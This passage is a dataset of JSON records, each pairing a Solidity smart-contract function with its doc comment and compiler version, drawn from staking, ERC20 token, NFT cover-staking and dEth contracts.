=> Snapshot) storage snapshotsOwner = snapshots[owner];\r\n\r\n // Doing multiple operations in the same block\r\n if (\r\n ownerSnapshotsCount != 0 &&\r\n snapshotsOwner[ownerSnapshotsCount - 1].blockNumber == currentBlock\r\n ) {\r\n snapshotsOwner[ownerSnapshotsCount - 1].value = newValue;\r\n } else {\r\n snapshotsOwner[ownerSnapshotsCount] = Snapshot(currentBlock, newValue);\r\n snapshotsCounts[owner] = ownerSnapshotsCount + 1;\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Redeems staked tokens, and stop earning rewards\r\n * @param to Address to redeem to\r\n * @param amount Amount to redeem\r\n **/", "function_code": "function redeem(address to, uint256 amount) external override {\r\n require(amount != 0, 'INVALID_ZERO_AMOUNT');\r\n //solium-disable-next-line\r\n uint256 cooldownStartTimestamp = stakersCooldowns[msg.sender];\r\n require(\r\n block.timestamp > cooldownStartTimestamp.add(COOLDOWN_SECONDS),\r\n 'INSUFFICIENT_COOLDOWN'\r\n );\r\n require(\r\n block.timestamp.sub(cooldownStartTimestamp.add(COOLDOWN_SECONDS)) <= UNSTAKE_WINDOW,\r\n 'UNSTAKE_WINDOW_FINISHED'\r\n );\r\n uint256 balanceOfMessageSender = balanceOf(msg.sender);\r\n\r\n uint256 amountToRedeem = (amount > balanceOfMessageSender) ? balanceOfMessageSender : amount;\r\n\r\n _updateCurrentUnclaimedRewards(msg.sender, balanceOfMessageSender, true);\r\n\r\n _burn(msg.sender, amountToRedeem);\r\n\r\n if (balanceOfMessageSender.sub(amountToRedeem) == 0) {\r\n stakersCooldowns[msg.sender] = 0;\r\n }\r\n\r\n IERC20(STAKED_TOKEN).safeTransfer(to, amountToRedeem);\r\n\r\n emit Redeem(msg.sender, to, amountToRedeem);\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Claims an `amount` of `REWARD_TOKEN` to the address `to`\r\n * @param to Address to stake for\r\n * @param amount Amount to stake\r\n **/", "function_code": "function claimRewards(address to, uint256 amount) external override {\r\n uint256 newTotalRewards =\r\n _updateCurrentUnclaimedRewards(msg.sender, balanceOf(msg.sender), false);\r\n uint256 amountToClaim = (amount == type(uint256).max) ? newTotalRewards : amount;\r\n\r\n stakerRewardsToClaim[msg.sender] = newTotalRewards.sub(amountToClaim, 'INVALID_AMOUNT');\r\n\r\n REWARD_TOKEN.safeTransferFrom(REWARDS_VAULT, to, amountToClaim);\r\n\r\n emit RewardsClaimed(msg.sender, to, amountToClaim);\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Internal ERC20 _transfer of the tokenized staked tokens\r\n * @param from Address to transfer from\r\n * @param to Address to transfer to\r\n * @param amount Amount to transfer\r\n **/", "function_code": "function _transfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal override {\r\n uint256 balanceOfFrom = balanceOf(from);\r\n // Sender\r\n _updateCurrentUnclaimedRewards(from, balanceOfFrom, true);\r\n\r\n // Recipient\r\n if (from != to) {\r\n uint256 balanceOfTo = balanceOf(to);\r\n _updateCurrentUnclaimedRewards(to, balanceOfTo, true);\r\n\r\n uint256 previousSenderCooldown = stakersCooldowns[from];\r\n stakersCooldowns[to] = getNextCooldownTimestamp(\r\n previousSenderCooldown,\r\n amount,\r\n to,\r\n balanceOfTo\r\n );\r\n // if cooldown was set and whole balance of sender was transferred - clear cooldown\r\n if (balanceOfFrom == amount && previousSenderCooldown != 0) {\r\n stakersCooldowns[from] = 0;\r\n }\r\n }\r\n\r\n super._transfer(from, to, amount);\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Updates the user state related with his accrued rewards\r\n * @param user Address of the user\r\n * @param userBalance The current balance of the user\r\n * @param updateStorage Boolean flag used to update or not the stakerRewardsToClaim of the user\r\n * @return The unclaimed rewards that were added to the total accrued\r\n **/", "function_code": "function _updateCurrentUnclaimedRewards(\r\n address user,\r\n uint256 userBalance,\r\n bool updateStorage\r\n ) internal returns (uint256) {\r\n uint256 accruedRewards =\r\n _updateUserAssetInternal(user, address(this), userBalance, totalSupply());\r\n uint256 unclaimedRewards = stakerRewardsToClaim[user].add(accruedRewards);\r\n\r\n if (accruedRewards != 0) {\r\n if (updateStorage) {\r\n stakerRewardsToClaim[user] = unclaimedRewards;\r\n }\r\n emit RewardsAccrued(user, accruedRewards);\r\n }\r\n\r\n return unclaimedRewards;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Calculates the how is gonna be a new cooldown timestamp depending on the sender/receiver situation\r\n * - If the timestamp of the sender is \"better\" or the timestamp of the recipient is 0, we take the one of the recipient\r\n * - Weighted average of from/to cooldown timestamps if:\r\n * # The sender doesn't have the cooldown activated (timestamp 0).\r\n * # The sender timestamp is expired\r\n * # The sender has a \"worse\" timestamp\r\n * - If the receiver's cooldown timestamp expired (too old), the next is 0\r\n * @param fromCooldownTimestamp Cooldown timestamp of the sender\r\n * @param amountToReceive Amount\r\n * @param toAddress Address of the recipient\r\n * @param toBalance Current balance of the receiver\r\n * @return The new cooldown timestamp\r\n **/", "function_code": "function getNextCooldownTimestamp(\r\n uint256 fromCooldownTimestamp,\r\n uint256 amountToReceive,\r\n address toAddress,\r\n uint256 toBalance\r\n ) public returns (uint256) {\r\n uint256 toCooldownTimestamp = stakersCooldowns[toAddress];\r\n if (toCooldownTimestamp == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 minimalValidCooldownTimestamp =\r\n block.timestamp.sub(COOLDOWN_SECONDS).sub(UNSTAKE_WINDOW);\r\n\r\n if (minimalValidCooldownTimestamp > toCooldownTimestamp) {\r\n toCooldownTimestamp = 0;\r\n } else {\r\n uint256 fromCooldownTimestamp =\r\n (minimalValidCooldownTimestamp > fromCooldownTimestamp)\r\n ? block.timestamp\r\n : fromCooldownTimestamp;\r\n\r\n if (fromCooldownTimestamp < toCooldownTimestamp) {\r\n return toCooldownTimestamp;\r\n } else {\r\n toCooldownTimestamp = (\r\n amountToReceive.mul(fromCooldownTimestamp).add(toBalance.mul(toCooldownTimestamp))\r\n )\r\n .div(amountToReceive.add(toBalance));\r\n }\r\n }\r\n stakersCooldowns[toAddress] = toCooldownTimestamp;\r\n\r\n return toCooldownTimestamp;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev Writes a snapshot before any operation involving transfer of value: _transfer, _mint and _burn\r\n * - On _transfer, it writes snapshots for both \"from\" and \"to\"\r\n * - On _mint, only for _to\r\n * - On _burn, only for _from\r\n * @param from the from address\r\n * @param to the to address\r\n * @param amount the amount to transfer\r\n */", "function_code": "function _beforeTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal override {\r\n address votingFromDelegatee = _votingDelegates[from];\r\n address votingToDelegatee = _votingDelegates[to];\r\n\r\n if (votingFromDelegatee == address(0)) {\r\n votingFromDelegatee = from;\r\n }\r\n if (votingToDelegatee == address(0)) {\r\n votingToDelegatee = to;\r\n }\r\n\r\n _moveDelegatesByType(\r\n votingFromDelegatee,\r\n votingToDelegatee,\r\n amount,\r\n DelegationType.VOTING_POWER\r\n );\r\n\r\n address propPowerFromDelegatee = _propositionPowerDelegates[from];\r\n address propPowerToDelegatee = _propositionPowerDelegates[to];\r\n\r\n if (propPowerFromDelegatee == address(0)) {\r\n propPowerFromDelegatee = from;\r\n }\r\n if (propPowerToDelegatee == address(0)) {\r\n propPowerToDelegatee = to;\r\n }\r\n\r\n _moveDelegatesByType(\r\n propPowerFromDelegatee,\r\n propPowerToDelegatee,\r\n amount,\r\n DelegationType.PROPOSITION_POWER\r\n );\r\n\r\n // caching the aave governance address to avoid multiple state loads\r\n ITransferHook aaveGovernance = _aaveGovernance;\r\n if (aaveGovernance != ITransferHook(0)) {\r\n aaveGovernance.onTransfer(from, to, amount);\r\n }\r\n }", "version": "0.7.5"} {"comment": "// Transfer the balance from token owner account to receiver account", "function_code": "function transfer(address to, uint tokens) public returns (bool success) {\r\n require(to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead\r\n require(!transactionLock); // Check for transaction lock\r\n require(!frozenAccount[to]);// Check if recipient is frozen\r\n balances[msg.sender] = balances[msg.sender].sub(tokens);\r\n balances[to] = balances[to].add(tokens);\r\n emit Transfer(msg.sender, to, tokens);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// Transfer token from spender account to receiver account", "function_code": "function transferFrom(address from, address to, uint tokens) public returns (bool success) {\r\n require(to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead\r\n require(!transactionLock); // Check for transaction lock\r\n require(!frozenAccount[from]); // Check if sender is frozen\r\n require(!frozenAccount[to]); // Check if recipient is frozen\r\n balances[from] = balances[from].sub(tokens);\r\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);\r\n balances[to] = balances[to].add(tokens);\r\n emit Transfer(from, to, tokens);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev stakeNft allows a user to submit their NFT to the contract and begin getting returns.\r\n * @param _nftIds The ID of the NFT being staked.\r\n **/", "function_code": "function batchStakeNft(uint256[] memory _nftIds)\r\n public\r\n // doKeep\r\n {\r\n // Loop through all submitted NFT IDs and stake them.\r\n for (uint256 i = 0; i < _nftIds.length; i++) {\r\n _stake(_nftIds[i], msg.sender);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Internal function for staking--this allows us to skip updating stake multiple times during a batch stake.\r\n * @param _nftId The ID of the NFT being staked. == coverId\r\n * @param _user The user who is staking the NFT.\r\n **/", "function_code": "function _stake(uint256 _nftId, address _user)\r\n internal\r\n {\r\n (/*coverId*/, uint8 coverStatus, uint256 sumAssured, uint16 coverPeriod, uint256 validUntil, address scAddress, \r\n bytes4 coverCurrency, /*premiumNXM*/, uint256 coverPrice, /*claimId*/) = IarNFT( getModule(\"ARNFT\") ).getToken(_nftId);\r\n \r\n _checkNftValid(validUntil, scAddress, coverCurrency, coverStatus);\r\n \r\n // coverPrice must be determined by dividing by length.\r\n uint256 secondPrice = coverPrice / (uint256(coverPeriod) * 1 days);\r\n\r\n // Update PlanManager to use the correct price for the protocol.\r\n // Find price per amount here to update plan manager correctly.\r\n uint256 pricePerEth = secondPrice / sumAssured;\r\n \r\n IPlanManager(getModule(\"PLAN\")).changePrice(scAddress, pricePerEth);\r\n \r\n IarNFT(getModule(\"ARNFT\")).transferFrom(_user, getModule(\"CLAIM\"), _nftId);\r\n\r\n ExpireTracker.push(uint96(_nftId), uint64(validUntil));\r\n // Save owner of NFT.\r\n nftOwners[_nftId] = _user;\r\n\r\n uint256 weiSumAssured = sumAssured * (10 ** 18);\r\n _addCovers(_user, _nftId, weiSumAssured, secondPrice, scAddress);\r\n \r\n // Add to utilization farming.\r\n if (ufOn) IUtilizationFarm(getModule(\"UFS\")).stake(_user, secondPrice);\r\n \r\n emit StakedNFT(_user, scAddress, _nftId, weiSumAssured, secondPrice, coverPeriod, block.timestamp);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Internal main removal functionality.\r\n **/", "function_code": "function _removeNft(uint256 _nftId)\r\n internal\r\n {\r\n (/*coverId*/, /*status*/, uint256 sumAssured, uint16 coverPeriod, /*uint256 validuntil*/, address scAddress, \r\n /*coverCurrency*/, /*premiumNXM*/, uint256 coverPrice, /*claimId*/) = IarNFT(getModule(\"ARNFT\")).getToken(_nftId);\r\n address user = nftOwners[_nftId];\r\n require(user != address(0), \"NFT does not belong to this contract.\");\r\n\r\n ExpireTracker.pop(uint96(_nftId));\r\n\r\n uint256 weiSumAssured = sumAssured * (10 ** 18);\r\n uint256 secondPrice = coverPrice / (uint256(coverPeriod) * 1 days);\r\n _subtractCovers(user, _nftId, weiSumAssured, secondPrice, scAddress);\r\n \r\n // Exit from utilization farming.\r\n if (ufOn) IUtilizationFarm(getModule(\"UFS\")).withdraw(user, secondPrice);\r\n\r\n emit RemovedNFT(user, scAddress, _nftId, weiSumAssured, secondPrice, coverPeriod, block.timestamp);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Need a force remove--at least temporarily--where owner can remove data relating to an NFT.\r\n * This necessity came about when updating the contracts and some users started withdrawal when _removeNFT\r\n * was in the second step of withdrawal, then executed the second step of withdrawal after _removeNFT had\r\n * been moved to the first step of withdrawal.\r\n **/", "function_code": "function forceRemoveNft(address[] calldata _users, uint256[] calldata _nftIds)\r\n external\r\n onlyOwner\r\n {\r\n require(_users.length == _nftIds.length, \"Array lengths must match.\");\r\n for (uint256 i = 0; i < _users.length; i++) {\r\n uint256 nftId = _nftIds[i];\r\n address user = _users[i];\r\n (/*coverId*/, /*status*/, uint256 sumAssured, uint16 coverPeriod, /*uint256 validuntil*/, address scAddress, \r\n /*coverCurrency*/, /*premiumNXM*/, uint256 coverPrice, /*claimId*/) = IarNFT(getModule(\"ARNFT\")).getToken(nftId);\r\n //address user = nftOwners[_nftId];\r\n // require(user != address(0), \"NFT does not belong to this contract.\");\r\n require(nftOwners[nftId] == address(0) && ExpireTracker.infos[uint96(nftId)].next > 0, \"NFT may not be force removed.\");\r\n\r\n ExpireTracker.pop(uint96(nftId));\r\n\r\n uint256 weiSumAssured = sumAssured * (10 ** 18);\r\n uint256 secondPrice = coverPrice / (uint256(coverPeriod) * 1 days);\r\n _subtractCovers(user, nftId, weiSumAssured, secondPrice, scAddress);\r\n \r\n // Exit from utilization farming.\r\n if (ufOn) IUtilizationFarm(getModule(\"UFS\")).withdraw(user, secondPrice);\r\n\r\n emit RemovedNFT(user, scAddress, nftId, weiSumAssured, secondPrice, coverPeriod, block.timestamp);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Some NFT expiries used a different bucket step upon update and must be reset. \r\n **/", "function_code": "function forceResetExpires(uint256[] calldata _nftIds)\r\n external\r\n onlyOwner\r\n {\r\n uint64[] memory validUntils = new uint64[](_nftIds.length);\r\n for (uint256 i = 0; i < _nftIds.length; i++) {\r\n (/*coverId*/, /*status*/, /*uint256 sumAssured*/, /*uint16 coverPeriod*/, uint256 validUntil, /*address scAddress*/, \r\n /*coverCurrency*/, /*premiumNXM*/, /*uint256 coverPrice*/, /*claimId*/) = IarNFT(getModule(\"ARNFT\")).getToken(_nftIds[i]);\r\n require(nftOwners[_nftIds[i]] != address(0), \"this nft does not belong here\");\r\n ExpireTracker.pop(uint96(_nftIds[i]), 86400);\r\n ExpireTracker.pop(uint96(_nftIds[i]), 86400*3);\r\n validUntils[i] = uint64(validUntil);\r\n }\r\n for (uint256 i = 0; i < _nftIds.length; i++) {\r\n ExpireTracker.push(uint96(_nftIds[i]),uint64(validUntils[i]));\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Subtract from the cover amount for the user and contract overall.\r\n * @param _user The user who is having the token removed.\r\n * @param _nftId ID of the NFT being used--must check if it has been submitted.\r\n * @param _coverAmount The amount of cover being removed.\r\n * @param _coverPrice Price that the user was paying per second.\r\n * @param _protocol The protocol that this NFT protected.\r\n **/", "function_code": "function _subtractCovers(address _user, uint256 _nftId, uint256 _coverAmount, uint256 _coverPrice, address _protocol)\r\n internal\r\n {\r\n if (coverMigrated[_nftId]) {\r\n IRewardManagerV2(getModule(\"REWARDV2\")).withdraw(_user, _protocol, _coverPrice, _nftId);\r\n } else {\r\n IRewardManager(getModule(\"REWARD\")).withdraw(_user, _coverPrice, _nftId);\r\n }\r\n\r\n if (!submitted[_nftId]) totalStakedAmount[_protocol] = totalStakedAmount[_protocol].sub(_coverAmount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Migrate reward to V2\r\n * @param _nftIds Nft ids\r\n **/", "function_code": "function migrateCovers(uint256[] calldata _nftIds)\r\n external\r\n {\r\n for (uint256 i = 0; i < _nftIds.length; i += 1) {\r\n address user = nftOwners[_nftIds[i]];\r\n require(user != address(0), \"NFT not staked.\");\r\n require(coverMigrated[_nftIds[i]] == false, \"Already migrated.\");\r\n coverMigrated[_nftIds[i]] = true;\r\n (/*coverId*/, /*status*/, /*sumAssured*/, uint16 coverPeriod, /*uint256 validuntil*/, address scAddress, \r\n /*coverCurrency*/, /*premiumNXM*/, uint256 coverPrice, /*claimId*/) = IarNFT(getModule(\"ARNFT\")).getToken(_nftIds[i]);\r\n\r\n uint256 secondPrice = coverPrice / (uint256(coverPeriod) * 1 days);\r\n\r\n IRewardManager(getModule(\"REWARD\")).withdraw(user, secondPrice, _nftIds[i]);\r\n IRewardManagerV2(getModule(\"REWARDV2\")).deposit(user, scAddress, secondPrice, _nftIds[i]);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Check that the NFT should be allowed to be added. We check expiry and claimInProgress.\r\n * @param _validUntil The expiration time of this NFT.\r\n * @param _scAddress The smart contract protocol that the NFt is protecting.\r\n * @param _coverCurrency The currency that this NFT is protected in (must be ETH_SIG).\r\n * @param _coverStatus status of cover, only accepts Active\r\n **/", "function_code": "function _checkNftValid(uint256 _validUntil, address _scAddress, bytes4 _coverCurrency, uint8 _coverStatus)\r\n internal\r\n view\r\n {\r\n require(_validUntil > now + 20 days, \"NFT is expired or within 20 days of expiry.\");\r\n require(_coverStatus == 0, \"arNFT claim is already in progress.\");\r\n require(allowedProtocol[_scAddress], \"Protocol is not allowed to be staked.\");\r\n require(_coverCurrency == ETH_SIG, \"Only Ether arNFTs may be staked.\");\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev gets freezing end date and freezing balance for the freezing portion specified by index.\r\n * @param _addr Address of freeze tokens owner.\r\n * @param _index Freezing portion index. It ordered by release date descending.\r\n */", "function_code": "function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {\r\n for (uint i = 0; i < _index + 1; i ++) {\r\n _release = chains[toKey(_addr, _release)];\r\n if (_release == 0) {\r\n return;\r\n }\r\n }\r\n _balance = freezings[toKey(_addr, _release)];\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @dev freeze your tokens to the specified address.\r\n * Be careful, gas usage is not deterministic,\r\n * and depends on how many freezes _to address already has.\r\n * @param _to Address to which token will be freeze.\r\n * @param _amount Amount of token to freeze.\r\n * @param _until Release date, must be in future.\r\n */", "function_code": "function freezeTo(address _to, uint _amount, uint64 _until) public {\r\n require(_to != address(0));\r\n require(_amount <= balances[msg.sender]);\r\n\r\n balances[msg.sender] = balances[msg.sender].sub(_amount);\r\n\r\n bytes32 currentKey = toKey(_to, _until);\r\n freezings[currentKey] = freezings[currentKey].add(_amount);\r\n freezingBalance[_to] = freezingBalance[_to].add(_amount);\r\n\r\n freeze(_to, _until);\r\n Transfer(msg.sender, _to, _amount);\r\n Freezed(_to, _until, _amount);\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @dev release first available freezing tokens.\r\n */", "function_code": "function releaseOnce() public {\r\n bytes32 headKey = toKey(msg.sender, 0);\r\n uint64 head = chains[headKey];\r\n require(head != 0);\r\n require(uint64(block.timestamp) > head);\r\n bytes32 currentKey = toKey(msg.sender, head);\r\n\r\n uint64 next = chains[currentKey];\r\n\r\n uint amount = freezings[currentKey];\r\n delete freezings[currentKey];\r\n\r\n balances[msg.sender] = balances[msg.sender].add(amount);\r\n freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);\r\n\r\n if (next == 0) {\r\n delete chains[headKey];\r\n }\r\n else {\r\n chains[headKey] = next;\r\n delete chains[currentKey];\r\n }\r\n Released(msg.sender, amount);\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @dev release all available for release freezing tokens. Gas usage is not deterministic!\r\n * @return how many tokens was released\r\n */", "function_code": "function releaseAll() public returns (uint tokens) {\r\n uint release;\r\n uint balance;\r\n (release, balance) = getFreezing(msg.sender, 0);\r\n while (release != 0 && block.timestamp > release) {\r\n releaseOnce();\r\n tokens += balance;\r\n (release, balance) = getFreezing(msg.sender, 0);\r\n }\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @dev Mint the specified amount of token to the specified address and freeze it until the specified date.\r\n * Be careful, gas usage is not deterministic,\r\n * and depends on how many freezes _to address already has.\r\n * @param _to Address to which token will be freeze.\r\n * @param _amount Amount of token to mint and freeze.\r\n * @param _until Release date, must be in future.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {\r\n totalSupply = totalSupply.add(_amount);\r\n\r\n bytes32 currentKey = toKey(_to, _until);\r\n freezings[currentKey] = freezings[currentKey].add(_amount);\r\n freezingBalance[_to] = freezingBalance[_to].add(_amount);\r\n\r\n freeze(_to, _until);\r\n Mint(_to, _amount);\r\n Freezed(_to, _until, _amount);\r\n Transfer(msg.sender, _to, _amount);\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "/* Admin function for transfer coins */", "function_code": "function transferFromAdmin(address _from, address _to, uint256 _value) public onlyOwner returns(bool success) {\r\n if (_to == 0x0) revert();\r\n if (balanceOf[_from] < _value) revert(); // Check if the sender has enough\r\n if ((balanceOf[_to] + _value) < balanceOf[_to]) revert(); // Check for overflows \r\n\r\n // Calc dividends for _from and for _to addresses\r\n uint256 divAmount_from = 0;\r\n uint256 divAmount_to = 0;\r\n if ((dividendsRound != 0) && (dividendsBuffer > 0)) {\r\n divAmount_from = calcDividendsSum(_from);\r\n if ((divAmount_from == 0) && (paidDividends[_from][dividendsRound] == 0)) paidDividends[_from][dividendsRound] = 1;\r\n divAmount_to = calcDividendsSum(_to);\r\n if ((divAmount_to == 0) && (paidDividends[_to][dividendsRound] == 0)) paidDividends[_to][dividendsRound] = 1;\r\n }\r\n // End of calc dividends\r\n\r\n balanceOf[_from] -= _value; // Subtract from the sender\r\n balanceOf[_to] += _value; // Add the same to the recipient\r\n\r\n if (divAmount_from > 0) {\r\n if (!_from.send(divAmount_from)) revert();\r\n }\r\n if (divAmount_to > 0) {\r\n if (!_to.send(divAmount_to)) revert();\r\n }\r\n\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/* \r\n \tSet params of ICO\r\n \t\r\n \t_auctionsStartBlock, _auctionsStopBlock - block number of start and stop of Ico\r\n \t_auctionsMinTran - minimum transaction amount for Ico in wei\r\n */", "function_code": "function setICOParams(uint256 _gracePeriodPrice, uint32 _gracePeriodStartBlock, uint32 _gracePeriodStopBlock, uint256 _gracePeriodMaxTarget, uint256 _gracePeriodMinTran, bool _resetAmount) public onlyOwner {\r\n \tgracePeriodStartBlock = _gracePeriodStartBlock;\r\n gracePeriodStopBlock = _gracePeriodStopBlock;\r\n gracePeriodMaxTarget = _gracePeriodMaxTarget;\r\n gracePeriodMinTran = _gracePeriodMinTran;\r\n \r\n buyPrice = _gracePeriodPrice; \t\r\n \t\r\n icoFinished = false; \r\n\r\n if (_resetAmount) icoRaisedETH = 0;\r\n }", "version": "0.4.18"} {"comment": "// Initiate dividends round ( owner can transfer ETH to contract and initiate dividends round )\n// aDividendsRound - is integer value of dividends period such as YYYYMM example 201712 (year 2017, month 12)", "function_code": "function setDividends(uint32 _dividendsRound) public payable onlyOwner {\r\n if (_dividendsRound > 0) {\r\n if (msg.value < 1000000000000000) revert();\r\n dividendsSum = msg.value;\r\n dividendsBuffer = msg.value;\r\n } else {\r\n dividendsSum = 0;\r\n dividendsBuffer = 0;\r\n }\r\n dividendsRound = _dividendsRound;\r\n }", "version": "0.4.18"} {"comment": "// Get dividends", "function_code": "function getDividends() public {\r\n if (dividendsBuffer == 0) revert();\r\n if (balanceOf[msg.sender] == 0) revert();\r\n if (paidDividends[msg.sender][dividendsRound] != 0) revert();\r\n uint256 divAmount = calcDividendsSum(msg.sender);\r\n if (divAmount >= 100000000000000) {\r\n if (!msg.sender.send(divAmount)) revert();\r\n }\r\n }", "version": "0.4.18"} {"comment": "// Stop ICO", "function_code": "function stopICO() public onlyOwner {\r\n if ( gracePeriodStopBlock > block.number ) gracePeriodStopBlock = block.number;\r\n \r\n icoFinished = true;\r\n\r\n weiToPresalersFromICO = icoRaisedETH * percentToPresalersFromICO / 10000;\r\n\r\n if (soldedSupply >= (burnAfterSoldAmount * 100000000)) {\r\n\r\n uint256 companyCost = soldedSupply * 1000000 * 10000;\r\n companyCost = companyCost / (10000 - percentToFoundersAfterICO) / 1000000;\r\n \r\n uint256 amountToFounders = companyCost - soldedSupply;\r\n\r\n // Burn extra coins if current balance of token greater than amountToFounders \r\n if (balanceOf[this] > amountToFounders) {\r\n Burn(this, (balanceOf[this]-amountToFounders));\r\n balanceOf[this] = 0;\r\n totalSupply = companyCost;\r\n } else {\r\n totalSupply += amountToFounders - balanceOf[this];\r\n }\r\n\r\n balanceOf[owner] += amountToFounders;\r\n balanceOf[this] = 0;\r\n Transfer(this, owner, amountToFounders);\r\n }\r\n\r\n buyPrice = 0;\r\n sellPrice = 0;\r\n }", "version": "0.4.18"} {"comment": "// Withdraw ETH to founders ", "function_code": "function withdrawToFounders(uint256 amount) public onlyOwner {\r\n \tuint256 amount_to_withdraw = amount * 1000000000000000; // 0.001 ETH\r\n if ((this.balance - weiToPresalersFromICO) < amount_to_withdraw) revert();\r\n amount_to_withdraw = amount_to_withdraw / foundersAddresses.length;\r\n uint8 i = 0;\r\n uint8 errors = 0;\r\n \r\n for (i = 0; i < foundersAddresses.length; i++) {\r\n\t\t\tif (!foundersAddresses[i].send(amount_to_withdraw)) {\r\n\t\t\t\terrors++;\r\n\t\t\t}\r\n\t\t}\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Swaps funds to another token.\r\n * @param outputToken The output ERC20SwappableOutput token contract address.\r\n * @param payee The address to which the output funds will be sent.\r\n * @param inputAmount The amount of input tokens to be burned.\r\n */", "function_code": "function swap(address outputToken, address payee, uint256 inputAmount) external returns (bool) {\r\n require(_outputSwapTokens[outputToken] != 0, \"Output token is not a registered output swap token.\");\r\n require(inputAmount > 0, \"No funds inputted to swap.\");\r\n require(inputAmount <= this.balanceOf(payee), \"Input amount cannot be greater than input token balance.\");\r\n require(_outputSwapTokens[outputToken] < 0 || inputAmount <= uint256(_outputSwapTokens[outputToken]), \"Input amount is greater than the limit for this output token.\");\r\n ERC20SwappableOutput outputContract = ERC20SwappableOutput(outputToken);\r\n uint256 outputTotalSupply = outputContract.totalSupply();\r\n require(outputTotalSupply > 0, \"Cannot reference zero total supply of output tokens when calculating output token amount.\");\r\n uint256 outputAmount = inputAmount.mul(outputTotalSupply).div(this.totalSupply());\r\n _burn(msg.sender, inputAmount);\r\n require(outputContract.finishSwap(msg.sender, inputAmount, outputAmount), \"Failed to finish swap with output token.\");\r\n emit SwapInput(msg.sender, payee, inputAmount, outputAmount);\r\n return true;\r\n }", "version": "0.5.16"} {"comment": "// GET Membership OF A WALLET AS STRING. ", "function_code": "function manokengNameOfOwner(address _owner) external view returns(string[] memory ) {\r\n uint256 tokenCount = balanceOf(_owner);\r\n if (tokenCount == 0) {\r\n // Return an empty array\r\n return new string[](0);\r\n } else {\r\n string[] memory result = new string[](tokenCount);\r\n uint256 index;\r\n for (index = 0; index < tokenCount; index++) {\r\n result[index] = manokengName[ tokenOfOwnerByIndex(_owner, index) ] ;\r\n }\r\n return result;\r\n }\r\n }", "version": "0.7.6"} {"comment": "// Note: \n// This method should have been called issue(address _receiver), but will remain this for meme value", "function_code": "function squanderMyEthForWorthlessBeans(address _receiver)\r\n payable\r\n public\r\n { \r\n // Goals:\r\n // 1. deposit eth into the vault \r\n // 2. give the holder a claim on the vault for later withdrawal to the address they choose \r\n // 3. pay the protocol\r\n\r\n require(getExcessCollateral() < riskLimit.add(msg.value), \"risk limit exceeded\");\r\n\r\n (uint protocolFee, \r\n uint automationFee, \r\n uint collateralToLock, \r\n uint accreditedCollateral, \r\n uint tokensToIssue) = calculateIssuanceAmount(msg.value);\r\n\r\n bytes memory lockETHproxyCall = abi.encodeWithSignature(\r\n \"lockETH(address,address,uint256)\", \r\n makerManager, \r\n ethGemJoin,\r\n cdpId);\r\n IDSProxy(address(this)).execute.value(collateralToLock)(saverProxyActions, lockETHproxyCall);\r\n \r\n (bool protocolFeePaymentSuccess,) = gulper.call.value(protocolFee)(\"\");\r\n require(protocolFeePaymentSuccess, \"protocol fee transfer to gulper failed\");\r\n\r\n // Note: \r\n // The automationFee is left in the CDP to cover the gas implications of leaving or joining dEth\r\n // This is why it is not explicitly used in this method. \r\n\r\n _mint(_receiver, tokensToIssue);\r\n \r\n emit Issued(\r\n _receiver, \r\n msg.value, \r\n protocolFee,\r\n automationFee, \r\n collateralToLock, \r\n accreditedCollateral,\r\n tokensToIssue);\r\n }", "version": "0.5.17"} {"comment": "// note: all values used by defisaver are in WAD format\n// we do not need that level of precision on this method\n// so for simplicity and readability they are all set in discrete percentages here", "function_code": "function automate(\r\n uint _repaymentRatio,\r\n uint _targetRatio,\r\n uint _boostRatio,\r\n uint _minRedemptionRatio,\r\n uint _automationFeePerc,\r\n uint _riskLimit)\r\n public\r\n auth\r\n {\r\n // for reference - this function is called on the subscriptionsProxyV2: \r\n // function subscribe(\r\n // uint _cdpId, \r\n // uint128 _minRatio, \r\n // uint128 _maxRatio, \r\n // uint128 _optimalRatioBoost, \r\n // uint128 _optimalRatioRepay, \r\n // bool _boostEnabled, \r\n // bool _nextPriceEnabled, \r\n // address _subscriptions) \r\n\r\n // since it's unclear if there's an official version of this on Kovan, this is hardcoded for mainnet\r\n address subscriptionsProxyV2 = 0xd6f2125bF7FE2bc793dE7685EA7DEd8bff3917DD;\r\n address subscriptions = 0xC45d4f6B6bf41b6EdAA58B01c4298B8d9078269a; \r\n\r\n minRedemptionRatioPerc = _minRedemptionRatio * ONE_PERC;\r\n automationFeePerc = _automationFeePerc;\r\n riskLimit = _riskLimit;\r\n\r\n bytes memory subscribeProxyCall = abi.encodeWithSignature(\r\n 